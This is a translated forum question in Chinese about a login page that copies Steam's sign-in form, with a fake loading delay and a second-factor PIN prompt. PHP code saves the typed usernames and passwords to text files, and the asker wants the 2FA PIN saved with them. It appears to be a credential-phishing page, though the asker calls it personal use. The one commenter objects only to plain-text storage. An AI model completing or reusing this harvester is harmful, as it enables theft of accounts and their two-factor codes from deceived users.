0
目前我有两种形式,一种用于用户名和密码,一种用于特殊认证引脚。如何一次写入多个表单到一个文件
用户名和密码
<form action="#" method="POST" id="hello" onsubmit="return false;">
<div id="loadingGif" style="display:none"><img src="#"></div>
<input class="btn_green_white_innerfade btn_medium" type="submit"
name="submit" id="userLogin" value="Sign in" width="104" height="25"
border="0" tabindex="5" onclick="showDiv()">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username"
id="userAccountName" maxlength="64" tabindex="1" value=""><br> <br>
<label for="userPassword">Password</label><br>
<input class="textField" type="password" name="password"
id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left;
display: none;">It seems that you may be having trouble entering your
password. We will now show your password in plain text (login is still
secure).</div>
</div>
通过添加/loginaction.php进入行动=“”,我可以用PHP写的用户名和密码输入到一个文本文件,但现在我想在特殊的双因子引脚上做同样的事情,将文件添加到action =“”中,在div显示之前刷新页面,允许用户输入pin,我需要帮助找到一种方法将所有三个输入写入这个文本文件,任何帮助将不胜感激,对此非常新
函数显示代码输入的div在这里
function showDiv() {
document.getElementById('userLogin').style.display = "none";
document.getElementById('loadingGif').style.display = "block";
setTimeout(function() {
document.getElementById('loadingGif').style.display = "none";
document.getElementById('showme').style.display = "block";
},2000);
}
写入该文件的PHP代码
<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("File written");
$txt = $_POST['username'] . ':' . $_POST['password'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:(";
?>
这在数据库中会更容易并且更安全。也不要存储纯文本密码。 – chris85
它目前仅供个人使用 –
那么现在呢'我认为你打算在某个地方在其他地方使用它。不妨先学习正确的方法。 – chris85